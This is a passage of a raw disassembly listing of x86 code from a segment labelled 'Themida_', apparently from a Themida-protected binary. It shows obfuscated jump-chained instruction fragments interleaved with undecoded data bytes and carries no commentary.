		jmp	loc_555FB0
; ---------------------------------------------------------------------------
		db 5
		dd 4, 0FF685251h, 5A27BE46h, 0D8BC84B9h, 0D5E4E94Ah, 5557FFFFh
		dd 86E95D5Fh, 2900008Fh, 0C875EF1h, 0EE95C24h, 9FFFF4Fh
		dd 0EE815AD6h, 60AC457Eh, 815EF329h, 882450C3h,	0AC3817Eh
		dd 0E92C2800h, 0FFFFA8E7h, 0C581E589h, 4, 6804C583h, 5AD2h
		dd 0FF242C89h, 5D042474h, 0E924048Fh, 0FFFF48ADh, 5A50E381h
		dd 0CB8136FCh, 4704B94h, 0EB81D3F7h, 4DB3C61h, 0FFDF60E9h
		dd 242C8BFFh, 4C481h, 0C9E90000h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BCEB:				; CODE XREF: Themida_:0055654Fj
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_550420
; ---------------------------------------------------------------------------
		dw 5159h
		dd 0C23EE0B9h, 5F2FE91Ch, 0C8BFFFFh, 4C48124h, 55000000h
		dd 242C8152h, 777A4B80h, 80C5815Dh, 89777A4Bh, 7445E9EFh
		dd 0B850FFFFh, 4, 7DE9C129h, 31000003h,	2C33242Ch, 4D73E924h
		dd 0EF81FFFFh, 9F6DB5BEh, 3933E9h, 2474FF00h, 4F26E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BD5A:				; CODE XREF: Themida_:0055E4DAj
		dec	edx
		xor	edx, 3C6DFF9Bh
		mov	ebp, edx
		pop	edx
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55C5D6
; ---------------------------------------------------------------------------
		db 0B4h, 13h, 80h
		dd 0E328E5F4h, 0FF5E4AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55BD81:				; CODE XREF: Themida_:00560C38j
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 4
		jmp	loc_55816A
; ---------------------------------------------------------------------------
		dd 773085BAh, 5AD50942h, 3C91F581h, 0BF57427Fh,	6B9D4284h
		dd 8105E7C1h, 361672C7h, 9FC78108h, 0E9CC85C2h,	7932h
		dd 719BED81h, 0DDF775A8h, 0F702EDC1h, 0D9C581D5h, 810AAEC5h
		dd 0E83EBCEAh, 0A1C2814Bh, 81719F78h, 0F24296EAh, 0E9EA015Ch
		dd 7591h, 42474FFh, 0E92434FFh,	3115h, 0B8240489h, 0
		dd offset dword_50AC4C+59Dh
		dd 2AEE8100h, 0F745F8EEh, 45CE81DEh, 8168CF6Eh,	121328EEh
		dd 0BBF68162h, 18DCDDCh, 0E9515EF7h, 0FFFF6901h, 54C4BD55h
		dd 0EDC15B26h, 0DFBE907h, 0E9520000h, 0FFFFCFC5h, 8704E983h
		dd 545C240Ch, 8124048Fh, 42404h, 2C8B0000h, 4C48124h, 0E9000000h
		dd 98Fh, 0A2E95854h, 2D000062h,	3B401C47h, 4705F001h, 8B3B401Ch
		dd 89522434h, 4C281E2h,	83000000h, 148704C2h, 512D5C24h
		dd 0E900D25Eh, 1E0Dh
; ---------------------------------------------------------------------------

loc_55BE88:				; CODE XREF: Themida_:005528BAj
		mov	esp, [esp]
		jmp	loc_55BA27
; ---------------------------------------------------------------------------
		dd 5E3968h, 24148900h, 234D6857h, 505F0F82h, 72544BB8h
		dd 3E0C124h, 0D480ED05h, 58C709F8h, 46DE951h, 0EB890000h
		dd 81242C8Bh, 4C4h, 6EBC100h, 4EC81h, 0B6E90000h, 8BFFFFADh
		dd 8957242Ch, 4C781E7h,	81000000h, 4C7h, 0C9FEE900h, 0C181FFFFh
		dd 4, 7165E9h, 81E78900h, 4C7h,	4C78100h, 0E9000000h, 3D06h
		dd 0E924248Bh, 0FFFF984Bh, 2C59C828h, 0E9F00050h, 2396h
; ---------------------------------------------------------------------------

loc_55BF18:				; CODE XREF: Themida_:0055DBA5j
		xor	ebp, 0A3A8BCC4h
		mov	ecx, ebp
		jmp	loc_555F55
; ---------------------------------------------------------------------------
		db 0BDh, 6Bh, 28h
		dd 0C5811A5Dh, 4E38DF5Eh, 895DEE29h, 0D7015EF2h, 4C7835Ah
		dd 815B5453h, 4C3h, 1DBD5500h, 4D5FA837h, 65C3E581h, 0DDF73A57h
		dd 0DB04F581h, 0EB29E5FFh, 241C875Dh, 243C895Ch, 42474FFh
		dd 82DDE9h, 0E9C20100h,	0FFFFB2B3h, 0A5E932FFh
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BF7B:				; CODE XREF: Themida_:0055E1C3j
		push	ecx
		jmp	loc_56461C
; ---------------------------------------------------------------------------
		db 58h,	87h, 2Ch
		dd 24248B24h, 0E9240431h, 0FFFF4E99h, 6C816658h, 22D00224h
		dd 247C0166h, 44816602h, 22D00224h, 243C8B66h, 60B8E9h
		dd 0C4835D00h, 0E7895704h, 4C781h, 0C7810000h, 4, 31243C33h
		dd 3C33243Ch, 24248B24h, 5C241487h, 0FF875EE9h,	2C80BEFFh
		dd 0F3216666h, 814CE9h,	4C48300h, 3EA4E957h, 815D0000h
		dd 0C42039EEh, 0E9C60177h, 1DA7h, 0E924048Bh, 0FFFF4455h
; ---------------------------------------------------------------------------

loc_55C000:				; CODE XREF: Themida_:00561750j
		add	esp, 4
		push	ebp
		mov	ebp, 6C410685h
		neg	ebp
		jmp	loc_553205
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 3910E981h, 0D1012C15h, 3910C181h,	815A2C15h, 4E9h
		dd 240C8700h, 2434895Ch, 8705E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C039:				; CODE XREF: Themida_:0055112Cj
		mov	esp, [esp]
		push	ecx
		jmp	loc_552816
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC83240Ch, 24048904h, 5968E089h, 8900000Fh,	0AC682434h
		dd 0E97A5011h, 1689h
; ---------------------------------------------------------------------------

loc_55C060:				; CODE XREF: Themida_:0055B0AEj
		add	edi, ecx
		jmp	loc_564064
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 1CD36659h, 0A9E99C24h, 89FFFF43h,	0D5F75EF5h
		dd 11F58145h, 21E576CDh, 242C8BEBh, 815E5456h, 4C6h, 4C68100h
		dd 0E9000000h, 12BFh, 0F381DBF7h, 3D940BB0h, 16E9C381h
		dd 0E957628Dh, 6D16h
; ---------------------------------------------------------------------------

loc_55C0B0:				; CODE XREF: Themida_:00562CEBj
		shr	edx, 3
		jmp	loc_551DDF
; ---------------------------------------------------------------------------
		dd 240C8758h, 242C895Ch, 0C581E589h, 4,	4EC81h,	14890000h
		dd 0C14EE924h, 0FF53FFFFh, 8B042474h, 0C481241Ch, 4, 8724048Fh
		dd 7991E9D3h, 0E958FFFFh, 0E11h, 8BC2E953h, 0F1800000h
		dd 0B65253CCh, 2A9AE900h, 0FB010000h, 0FFDAECE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C10D:				; CODE XREF: Themida_:00555935j
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5550F7
; ---------------------------------------------------------------------------

loc_55C116:				; CODE XREF: Themida_:005646E0j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55DD8A
; ---------------------------------------------------------------------------
		db 81h
		dd 8E6EDFC6h, 5EF02915h, 4002E0C1h, 0FF7ADBE9h,	803E05FFh
		dd 7E68B0BAh, 89000057h, 0EC81240Ch, 4,	50240489h, 16ABA52h
		dd 0EDB8145Eh, 294F9453h, 24148BD0h, 4C481h, 44810000h
		dd 468D0424h, 44293A6Fh, 6C810424h, 468D0424h, 8B583A6Fh
		dd 95E9240Ch, 0BFFFFF6Dh, 1DF870EBh, 5E08950h, 4, 42Dh
		dd 24048700h, 0E924248Bh, 368Bh, 81241C8Bh, 4C4h, 4EA8100h
		dd 87000000h, 895C2414h, 0C8E92404h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C1BB:				; CODE XREF: Themida_:0055751Aj
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_555930
; ---------------------------------------------------------------------------
		dd 8101C383h, 0AE40B5F3h, 0FEC6E916h, 0C281FFFFh, 4, 5E5AE9h
		db 0
; ---------------------------------------------------------------------------

loc_55C1E1:				; CODE XREF: Themida_:00552E90j
		mov	esi, 301F0712h
		add	ebx, esi
		pop	esi
		add	ebx, 456E0EABh
		add	ebx, 231644C3h
		sub	ebx, eax
		sub	ebx, 231644C3h
		sub	ebx, 456E0EABh
		jmp	loc_554726
; ---------------------------------------------------------------------------
		dd 10DCC281h, 0C1E90F2Eh, 89000092h, 84B82404h,	0F774EB24h
		dd 16A10DD8h, 67356A1Dh, 25450B2Eh, 3C792AC0h, 7B2DD0F7h
		dd 893D6B15h, 0B8ADE9C6h, 27B8FFFFh, 1122347h, 58042444h
		dd 3AA8E9h, 4D82800h, 2434FF88h, 0F3E9535Bh, 1000070h
		dd 2434FFEAh, 0E689565Dh, 7B14BD55h, 0C5815244h, 1D13427Fh
		dd 1C48F581h, 15E9582Eh, 66FFFF7Fh, 6866E1F7h, 89666DA7h
		dd 50662414h, 4196E99Ch, 668FFFFh, 0E9000008h, 0FFFF652Fh
		dd 8106EDC1h, 0FE17DAC5h, 8EBB534Dh, 0C122475Fh, 0EBC108EBh
		dd 0C1D3F706h, 3EE908EBh, 81FFFFB7h, 0E520D4EDh, 0B7685B0Dh
		dd 89000017h, 89562434h, 4C681E6h, 83000000h, 348704EEh
		dd 24248B24h, 68241489h, 8934F6h, 0BC11E95Ah, 0EC81FFFFh
		dd 4, 50242C89h, 60F9BD55h, 0F74D0954h,	81DDF7D5h, 2E50DAEDh
		dd 0F7F5877Ah, 81F587D6h, 4010ACC5h, 5DE889E6h,	1A008EBDh
		dd 8BC53157h, 8D682404h, 8900004Eh, 0CEE9243Ch,	0B9FFFFFBh
		dd 26E6148h, 0DAF5BD55h, 3FE920E6h, 8FFFFF49h, 4812404h
		dd 424h, 24048F00h, 0FF5AC4E9h,	9ECD80FFh, 0E91FC580h
		dd 0FFFFD705h
; ---------------------------------------------------------------------------

loc_55C350:				; CODE XREF: Themida_:00552216j
		pop	esi
		jmp	loc_555035
; ---------------------------------------------------------------------------
		dw 1487h
		dd 24248B24h, 0BF243C89h, 0DE03AF9h, 0B7DE9h, 81E7D100h
		dd 0CBEFA4C7h, 5FFD89D4h, 2C8BEB29h, 4B29E924h,	0DD01FFFFh
		dd 3A9DC581h, 34FF74E1h, 0C4835B24h, 6F22E904h,	0EC830000h
		dd 242C8904h, 4BDh, 0B6F5E900h,	248BFFFFh, 24148924h, 7E19E9h
		dd 0CA685900h, 8900004Fh, 5350240Ch, 0CFFE30B7h, 80A9CF80h
		dd 0D7F670E7h, 884AEF80h, 0C5885BF8h, 8324048Bh, 0C6804C4h
		dd 8900001Ch, 54F6240Ch, 68590124h, 1961h, 50241C89h, 0FFBBA7E9h
		dd 72102DFFh, 0C529BD01h, 0E9EF8958h, 88FBh
; ---------------------------------------------------------------------------

loc_55C3FC:				; CODE XREF: Themida_:00558A03j
		pop	esp
		add	edx, 7CCC21D8h
		push	2D9Bh
		mov	[esp], ebp
		jmp	loc_55B78E
; ---------------------------------------------------------------------------
		dd 1DE9D188h, 53FFFFE8h, 4BBh, 5BD90100h, 4C181h, 6680000h
		dd 89000079h, 74FF240Ch, 8F590424h, 0E95C2404h,	0FFFF66F2h
		dd 6624248Bh, 68240C8Bh, 132Dh,	89240C89h, 36E956E1h, 0BD00006Ch
		dd 42A7428Ch, 0E95DEB01h, 0FFFFC055h, 7157BF57h, 895335B3h
		dd 8BDE89FBh, 0C483241Ch, 0CE815F04h, 4F917BD5h, 0BE565557h
		dd 7FB37BD3h, 0FF4520E9h, 2434FFFFh, 0FFE1C0E9h, 80B0B3FFh
		dd 0C38001EBh, 0FB252FFh, 0CAFEDAF6h, 28AAC280h, 0DE885AD3h
		dd 55E6805Bh, 9E9CEFEh,	83FFFF55h, 0E95704C7h, 0FFFFB31Fh
		dd 0D0E95556h, 8FFFFFB8h, 535C2404h, 8904EC83h,	0BD552424h
		dd 4, 4246C01h,	1AA5E95Dh, 0C1810000h, 0F3F5301h, 8864E9h
		dd 59CA3100h, 4392EA81h, 0BCE95304h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C4F3:				; CODE XREF: Themida_:0055ED7Ej
		or	edx, 4F143DF9h
		dec	edx
		xor	edx, 17E9302Dh
		inc	edx
		xor	edx, 0CCD68966h
		xor	esi, edx
		jmp	loc_55B372
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 5688331Ah, 5CE9C801h, 0FE000053h, 0FED4F6CCh, 0C2C480CCh
		dd 30CDC480h, 0F6E958E1h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C52F:				; CODE XREF: Themida_:0055EB9Bj
		push	ecx
		mov	ecx, esp
		jmp	loc_560ED9
; ---------------------------------------------------------------------------
		db 68h
		dd 2DE130A1h, 83241C8Bh, 0F38104C4h, 11B94F4Ah,	7FE7EB81h
		dd 0D9893C58h, 8BCF015Bh, 2EE9240Ch, 54FFFF86h,	4BB535Fh
		dd 1000000h, 0BE9AE9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C56A:				; CODE XREF: Themida_:0055235Ej
		push	1879h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 7C0C04FBh
		mov	ebp, ecx
		jmp	loc_555153
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815A2434h, 4C4h, 0AEEB8100h,	66408C6Dh, 5724148Bh, 0FF6C50E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C599:				; CODE XREF: Themida_:0055C9F0j
		xor	ebp, [esp]
		jmp	loc_561409
; ---------------------------------------------------------------------------
		db 68h,	89h, 77h
		dd 348B535Eh, 4C48124h,	55000000h, 0FFBB06E9h, 81F201FFh
		dd 0AE38A1C2h, 66B4E924h, 59E9FFFFh, 5CFFFF3Eh,	0EFE9C009h
		dd 5C00002Fh, 0C7F3E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C5D6:				; CODE XREF: Themida_:0055BD70j
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_550846
; ---------------------------------------------------------------------------
		db 68h
		dd 3556h, 88241C89h, 533CE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C5EE:				; CODE XREF: Themida_:005605AAj
		sub	eax, 7BC02B91h
		add	eax, edx
		jmp	loc_552164
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 2853BD55h, 0C5816D09h, 92F6D7B1h,	575DEF01h, 42474FFh
		dd 24048F5Fh, 5124248Bh, 0EB88C588h, 24048B59h,	0FF8228E9h
		dd 6D81BFFFh, 0F781138Eh, 23966702h, 77B9BE56h,	0F7295418h
		dd 8FE4E95Eh, 0C3830000h, 241C8704h, 148B665Ch,	2C48124h
		dd 0E9000000h, 8B25h, 9C2404FEh, 0FF3DBFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C661:				; CODE XREF: Themida_:0056511Fj
		pop	eax
		push	esi
		mov	esi, esp
		jmp	loc_552EB7
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 1C621193h, 815DEA01h, 32570FEAh, 81C22961h, 32570FC2h
		dd 36E95561h, 5300003Ah, 8904EC83h, 0BA68240Ch,	593F506Eh
		dd 557EE981h, 81511B3Fh, 3F7C2434h, 815B1A63h, 633F7CF3h
		dd 240C8B1Ah, 4C481h, 0F3810000h, 2411193Eh, 63246851h
		dd 0C8B2DDBh, 4C48124h,	81000000h, 0AC0216EFh, 81CF2958h
		dd 0AC0216C7h, 0DF015958h, 1DE968h, 24048900h, 0DB6324B8h
		dd 7EB8502Dh, 1620B26h,	0C70158C7h, 267EEF81h, 48B620Bh
		dd 0C659E924h, 0C0BAFFFFh, 3142B61Ah, 24148BD0h, 4C481h
		dd 89520000h, 4C281E2h,	83000000h, 37E904EAh, 81FFFFFCh
		dd 4C4h, 48976800h, 3C890000h, 0BBE95324h, 80FFFF55h, 80584CE9h
		dd 0D9F6FFC1h, 0E99BC180h, 0FFFFEFABh, 0BE243489h, 0A0E1A0Ah
		dd 7023C681h, 814E47F6h, 997EDBEEh, 5EF3013Fh, 531AE95Dh
		dd 32D0000h, 0E9D27D86h, 0FFFF45F4h, 0F5C72BFh,	246C8160h
		dd 85653804h, 247C0111h, 24448104h, 85653804h, 0C0C0E911h
		dd 68FFFFh, 29000000h, 2C8B242Ch, 4C48124h, 0D1000000h
		dd 0E9D5F7E5h, 0FFFF71C7h, 0FF2434FFh, 53582434h, 0FF46C6E9h
		dd 86BE56FFh, 467A402Ah, 4DF68146h, 132BA23h, 24348BF3h
		dd 4C481h, 0C3810000h, 12D1479Fh, 4242E956h, 0C3810000h
		dd 4, 2C381h, 39E90000h, 68FFFFDBh, 7E46h, 31E3E9h, 4EC8300h
		dd 0FFAF02E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C7F9:				; CODE XREF: Themida_:0055A214j
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebx
		jmp	loc_5610D9
; ---------------------------------------------------------------------------
		align 4
		dd 2434FFECh, 0FFA726E9h, 5E089FFh, 4, 4BA52h, 0D0290000h
		dd 8124148Bh, 4C4h, 24043300h, 33240431h, 0B7E92404h, 51FFFF98h
		dd 702BF4B9h, 6E9C121h,	3F55C181h, 0CF01FF7Ah, 4EF8159h
		dd 87000000h, 895C243Ch, 3481240Ch, 0F7191C24h,	0F3815B67h
		dd 67F7191Ch, 0FF5D99E9h, 2434FFFFh, 0A31E9h, 2434FF00h
		dd 592434FFh, 2A3C68h, 240C8900h, 38F8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C889:				; CODE XREF: Themida_:00553F4Ej
		add	eax, 37EF157Bh
		jmp	loc_5561F6
; ---------------------------------------------------------------------------

loc_55C893:				; CODE XREF: Themida_:0055EE2Cj
		xchg	ebx, [esp]
		pop	esp
		push	edi
		push	1C604127h
		pop	edi
		sub	[esp+8], edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	[esp+4], edi
		jmp	loc_56173C
; ---------------------------------------------------------------------------
		dw 0DF89h
		dd 0FFA292E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C8B9:				; CODE XREF: Themida_:00559246j
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_552E0D
; ---------------------------------------------------------------------------

loc_55C8C7:				; CODE XREF: Themida_:005560D8j
		xchg	ebp, [esp]
		jmp	loc_562D06
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0D9C00004h, 0FFAFFAE9h, 4EC83FFh, 0FF412FE9h, 2434FFFFh
		dd 0CBC3E95Ah, 0F821FFFFh, 0FC0095Fh, 0FF6F5084h, 1C77FFFFh
		dd 1942BB53h, 0CB81103Ah, 390A1352h, 0F6CBE956h, 5456FFFFh
		dd 54E9535Eh, 8BFFFFBCh, 8956240Ch, 0F1ADE9E6h,	815AFFFFh
		dd 89199AC7h, 8BFB2915h, 7068243Ch, 8900005Dh, 0E0892404h
		dd 4BE56h, 0F0010000h, 4055Eh, 4330000h, 24043124h, 6A87E9h
		dd 0C5885100h, 6859EF88h, 2701h, 0FFA89AE9h, 0EDC981FFh
		dd 81361234h, 0D13410F1h, 960FE900h, 0B850FFFFh, 2110B8Fh
		dd 958C789h, 21C3E9FEh,	0C8680000h, 89000012h, 40BD242Ch
		dd 45719153h, 0F65E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C992:				; CODE XREF: Themida_:0055E263j
		mov	ecx, 7B8719E3h
		jmp	loc_561E0A
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 0E501B33h, 0FF6D9BE9h, 0E9C0FEFFh, 671Fh
		dd 5C241C87h, 0E9243C89h, 3EB4h
; ---------------------------------------------------------------------------

loc_55C9BC:				; CODE XREF: Themida_:0055D2CFj
		pop	ebx
		jmp	loc_55F741
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 81525C24h, 4EEC2404h, 50591828h, 284EECB8h, 891CE918h
		dd 8B66FFFFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55C599
; ---------------------------------------------------------------------------

loc_55C9F5:				; CODE XREF: Themida_:00558ECFj
		pop	esp
		mov	[esp], edx
		mov	edx, 4C2A0E14h
		mov	ecx, edx
		pop	edx
		dec	ecx
		xor	ecx, 521E0E3Dh
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2A442CDAh
		push	ebp
		mov	ebp, 1A2E2B9Fh
		xchg	eax, ebp
		neg	eax
		xchg	eax, ebp
		jmp	loc_55ACF1
; ---------------------------------------------------------------------------
		dd 96B551h, 516659EEh, 0EE00EDB5h, 0FF43B1E9h, 35E8D1FFh
		dd 3EC7B7E5h, 4DBABA52h, 0F28172B3h, 54DE25DCh,	0FF49ABE9h
		dd 243C8BFFh, 104C483h,	6253E9CAh, 8B660000h, 0EC832404h
		dd 24048904h, 0EC81E089h, 4, 0BB241C89h, 26AB561Bh, 8105EBC1h
		dd 90C8CCBh, 0E9564B1Ch, 799Fh,	27C5815Bh, 1DCB6A2h, 4E88E9E8h
		dd 0EF800000h, 0C0D7F675h, 0DFF607EFh, 807BE780h, 0C78045C7h
		dd 5BFD88A0h, 5966EF28h, 0A104EB04h, 0FFBBD8E9h, 0E9E089FFh
		dd 0FFFF7981h, 9D49E955h, 0D831FFFFh, 0FF9C53E9h, 0F1295BFFh
		dd 6088E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CAD6:				; CODE XREF: Themida_:0055AC95j
		mov	ebp, 15DE661Bh
		add	esi, ebp
		pop	ebp
		jmp	loc_55538E
; ---------------------------------------------------------------------------

loc_55CAE3:				; CODE XREF: Themida_:00556C78j
		xor	edi, [esp]
		jmp	loc_5607CF
; ---------------------------------------------------------------------------
		db 59h
		dd 805BDA08h, 212CF7F2h, 0C3E9D028h, 66000040h,	68CCB60Fh
		dd 65B5h, 717CE9h, 0E9F80100h, 4F73h, 4BAh, 0E8EE8100h
		dd 815CF034h, 7432E7C6h, 0E9D60140h, 0FFFF930Ch, 31240433h
		dd 4332404h, 5A47E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CB36:				; CODE XREF: Themida_:0055B541j
		push	edx
		add	dword ptr [esp], 1BF4109Ch
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5612CC
; ---------------------------------------------------------------------------
		db 87h
		dd 515C2414h, 0C181E189h, 4, 4C181h, 0C870000h,	8F685C24h
		dd 89000022h, 19BE2434h, 564BCC0Dh, 5E2414F7h, 0FF759CE9h
		dd 573068FFh, 3C890000h, 7EEE924h, 0C1830000h, 240C3302h
		dd 33240C31h, 0D2E9240Ch
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55CB93:				; CODE XREF: Themida_:005649F8j
		mov	[esp], ecx
		mov	ecx, 5D6D3A21h
		xor	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_563FC1
; ---------------------------------------------------------------------------
		dd 0C148D8F7h, 852D02E8h, 3146CA65h, 6CEEE9C6h,	0EE89FFFFh
		dd 5D2434FFh, 4C481h, 34FF0000h, 241C8B24h, 600CE9h, 5BD80100h
		dd 2CCFE9h, 0E9CCFE00h,	0FFFF6C2Ah, 69A8EB81h, 0C3292C6Dh
		dd 69A8C381h, 61E92C6Dh, 2DFFFFC8h, 7B0A5700h, 34FF3089h
		dd 24048B24h, 0FFDB63E9h, 241C29FFh, 7EBC15Bh, 470BB951h
		dd 9CE95293h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55CC1F:				; CODE XREF: Themida_:005524E5j
		pop	edi
		sub	eax, ebx
		pop	ebx
		add	eax, 61D37602h
		jmp	loc_55E1B2
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0D2h
		dd 1B067EBh, 2434FFEEh,	4C4815Dh, 0E9000000h, 54ACh
; ---------------------------------------------------------------------------

loc_55CC44:				; CODE XREF: Themida_:005579C9j
		or	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------
		dw 895Dh
		dd 2434FFF2h, 4C4835Eh,	29F5BF57h, 0E78104A6h, 5A002992h
		dd 0FF7DCAE9h, 244481FFh, 0D73CF504h, 38F9E91Ah, 525C0000h
		dd 97D86BAh, 1FCA8103h,	51598A4Ah, 756DE5B9h, 0F857E93Fh
		dd 77FFFFFFh, 59669D1Ch, 9C2414D3h, 0FF3783E9h,	2C482CFFh
		dd 66596612h, 4B0EE952h, 1C330000h, 241C3124h, 5C241C33h
		dd 83241489h, 48904ECh,	587AB824h, 6CBA6280h, 1D49901h
		dd 0E28158C2h, 40E3534Ch, 3B2668h, 242C8900h, 357DD5BDh
		dd 8BEA312Dh, 0EC83242Ch, 242C8904h, 0C581E589h, 4, 0FF8DD4E9h
		dd 2BEFFh, 0E680000h, 8900007Fh, 5E5B2434h, 0FF4B9FE9h
		dd 68D831FFh, 6E68h, 0E9240C89h, 72B4h,	204AF04h, 0FF410DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CD21:				; CODE XREF: Themida_:005544ABj
		sub	dh, 82h
		sub	al, dh
		pop	edx
		sub	al, bl
		add	al, 9Ch
		pop	ebx
		jmp	loc_56185B
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 0DAh
		dd offset dword_457444+370A5h
		db 0
; ---------------------------------------------------------------------------

loc_55CD39:				; CODE XREF: Themida_:0055DF2Cj
		xchg	eax, ecx
		push	47D9h
		mov	[esp], ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_562B80
; ---------------------------------------------------------------------------
		db 5Fh
		dd 565AD689h, 0E95D5E58h, 0FFFF36C0h, 0FF36BBE9h, 71E95AFFh
		dd 59000075h, 640A2D66h, 66D02966h, 5A640A05h, 3E3A6866h
		dd 0FF8BF4E9h, 81E689FFh, 4C6h,	4EE8300h, 6B43E9h, 81E38900h
		dd 4C3h, 4EB8100h, 87000000h, 248B241Ch, 24348924h, 89515E54h
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 2404895Ch, 1F407BB8h
		dd 304B256Eh, 0E0C148D5h, 3CBEE905h, 1C870000h,	54EDE924h
		dd 48BFFFFh, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 0B2D9E95Ch, 0B353FFFFh, 0B5CB8077h, 0E9DFCB80h, 0FFFF5116h
		dd 612DD8F7h, 13861E3h,	24048BC6h, 5104C483h, 0E47C63B9h
		dd 0E9CE2119h, 4Ah
; ---------------------------------------------------------------------------

loc_55CE1C:				; CODE XREF: Themida_:0055F117j
		sub	ecx, 7A963F0h
		add	ecx, ebx
		add	ecx, 7A963F0h
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55AD62
; ---------------------------------------------------------------------------
		dd 0E9E78957h, 0FFFF65A8h, 835AD729h, 0EFC101C7h, 5EF78104h
		dd 29E1F34Bh, 0F0015FFEh, 8124348Bh, 4C4h, 6DE6E900h, 0C159FFFFh
		dd 545506EEh, 0A163E95Dh, 555DFFFFh, 0EF1AD0BDh, 5DE8291Ah
		dd 4D11C705h, 57D80179h, 293BD55h, 0EF8969E0h, 4EF0E95Dh
		dd 74FF0000h, 3C8B0424h, 4C48124h, 8F000000h, 665C2404h
		dd 5624048Bh, 0BA52E689h, 4, 148BD601h,	3E67E924h, 0CAFE0000h
		dd 8079F280h, 0D300F2C3h, 5AF2EB80h, 0FF56C1E9h, 8BDF31FFh
		dd 30E9241Ch, 0B6FFFF80h, 761AE9ABh, 29580000h,	0C257E9C2h
		dd 0E781FFFFh, 18BD3362h, 0CB95147h, 41736C32h,	7CF5C181h
		dd 0F1814AA0h, 2F4C4FC4h, 17C6E9h, 5E545600h, 4BF57h, 0FE010000h
		dd 4EE815Fh, 87000000h,	248B2434h, 24048924h, 26C6855h
		dd 515D058Dh, 8D0268B9h, 59CD3105h, 15D5855h, 24048BC2h
		dd 81E78957h, 4ECh, 241C8900h, 4BBh, 7D4E900h, 0F6810000h
		dd 5B2C0D52h, 714EEE81h, 58E9E810h, 0FF00004Dh,	5A042474h
		dd 8B24048Fh, 33682424h, 8900002Bh, 68532414h, 72C4h, 0E9240489h
		dd 37B0h, 0F81F6CBFh, 247C292Dh, 0B1E95F08h, 81FFFFD5h
		dd 2F9C2404h, 34FF5FB1h, 24348B24h, 0FF4BCFE9h,	240489FFh
		dd 4B82E957h, 81500000h, 1C422404h, 26E93CC5h, 0BFFFFFC7h
		dd 530928E9h, 8105EFC1h, 136363CFh, 0ECF78133h,	894C3B5Ch
		dd 0BB535FF9h, 1D7705AAh, 3225F381h, 5E5362D7h,	828AE9h
		dd 0F7F58700h, 45F587D6h, 60B3C581h, 30E92050h,	33FFFFCFh
		dd 99E92414h, 100002Bh,	315A59C8h, 0BE5658C7h, 6B3A4C94h
		dd 15EF129h, 94C181F9h,	8B6B3A4Ch, 0C481243Ch, 4, 6E23E951h
		dd 89520000h, 4E9BE9E2h, 0EB31FFFFh, 0FFD36DE9h, 0D8EB80FFh
		dd 0C380D300h, 0F9E95AD8h, 68FFFF7Eh, 689607CDh, 0F7D6F75Eh
